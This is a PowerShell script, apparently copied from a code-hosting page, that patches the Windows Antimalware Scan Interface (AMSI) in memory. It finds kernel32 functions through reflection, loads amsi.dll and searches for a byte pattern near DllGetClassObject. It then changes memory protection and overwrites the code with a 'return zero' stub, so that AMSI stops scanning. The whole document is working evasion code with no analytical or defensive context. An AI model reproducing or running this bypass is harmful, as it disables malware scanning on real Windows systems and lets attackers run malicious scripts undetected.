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AMSI BYPASS REFECTION
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Write-Host "-- AMSI Patch" | |
Write-Host "-- Modified By: Shantanu Khandelwal (@shantanukhande)" | |
Write-Host "-- Original Author: Paul Laîné (@am0nsec)" | |
Write-Host "" | |
Class Hunter { | |
static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) { | |
while ($true) { | |
[int]$count = 0 | |
while ($true) { | |
[IntPtr]$address = [IntPtr]::Add($address, 1) | |
If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) { | |
$count++ | |
If ($count -eq $egg.Length) { | |
return [IntPtr]::Subtract($address, $egg.Length - 1) | |
} | |
} Else { break } | |
} | |
} | |
return $address | |
} | |
} | |
function Get-ProcAddress { | |
Param( | |
[Parameter(Position = 0, Mandatory = $True)] [String] $Module, | |
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure | |
) | |
# Get a reference to System.dll in the GAC | |
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | | |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } | |
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') | |
# Get a reference to the GetModuleHandle and GetProcAddress methods | |
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') | |
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])) | |
# Get a handle to the module specified | |
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) | |
$tmpPtr = New-Object IntPtr | |
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) | |
# Return the address of the function | |
return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) | |
} | |
function Get-DelegateType | |
{ | |
Param | |
( | |
[OutputType([Type])] | |
[Parameter( Position = 0)] | |
[Type[]] | |
$Parameters = (New-Object Type[](0)), | |
[Parameter( Position = 1 )] | |
[Type] | |
$ReturnType = [Void] | |
) | |
$Domain = [AppDomain]::CurrentDomain | |
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') | |
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) | |
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) | |
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) | |
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) | |
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed') | |
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) | |
$MethodBuilder.SetImplementationFlags('Runtime, Managed') | |
Write-Output $TypeBuilder.CreateType() | |
} | |
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA | |
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) | |
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) | |
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress | |
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) | |
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) | |
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect | |
$VistualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) | |
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VistualProtectDelegate) | |
If ([IntPtr]::Size -eq 8) { | |
Write-Host "[+] 64-bits process" | |
[byte[]]$egg = [byte[]] ( | |
0x4C, 0x8B, 0xDC, # mov r11,rsp | |
0x49, 0x89, 0x5B, 0x08, # mov qword ptr [r11+8],rbx | |
0x49, 0x89, 0x6B, 0x10, # mov qword ptr [r11+10h],rbp | |
0x49, 0x89, 0x73, 0x18, # mov qword ptr [r11+18h],rsi | |
0x57, # push rdi | |
0x41, 0x56, # push r14 | |
0x41, 0x57, # push r15 | |
0x48, 0x83, 0xEC, 0x70 # sub rsp,70h | |
) | |
} Else { | |
Write-Host "[+] 32-bits process" | |
[byte[]]$egg = [byte[]] ( | |
0x8B, 0xFF, # mov edi,edi | |
0x55, # push ebp | |
0x8B, 0xEC, # mov ebp,esp | |
0x83, 0xEC, 0x18, # sub esp,18h | |
0x53, # push ebx | |
0x56 # push esi | |
) | |
} | |
$hModule = $LoadLibrary.Invoke("amsi.dll") | |
Write-Host "[+] AMSI DLL Handle: $hModule" | |
$DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, "DllGetClassObject") | |
Write-Host "[+] DllGetClassObject address: $DllGetClassObjectAddress" | |
[IntPtr]$targetedAddress = [Hunter]::FindAddress($DllGetClassObjectAddress, $egg) | |
Write-Host "[+] Targeted address: $targetedAddress" | |
$oldProtectionBuffer = 0 | |
$VirtualProtect.Invoke($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null | |
$patch = [byte[]] ( | |
0x31, 0xC0, # xor rax, rax | |
0xC3 # ret | |
) | |
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3) | |
$a = 0 | |
$VirtualProtect.Invoke($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null |
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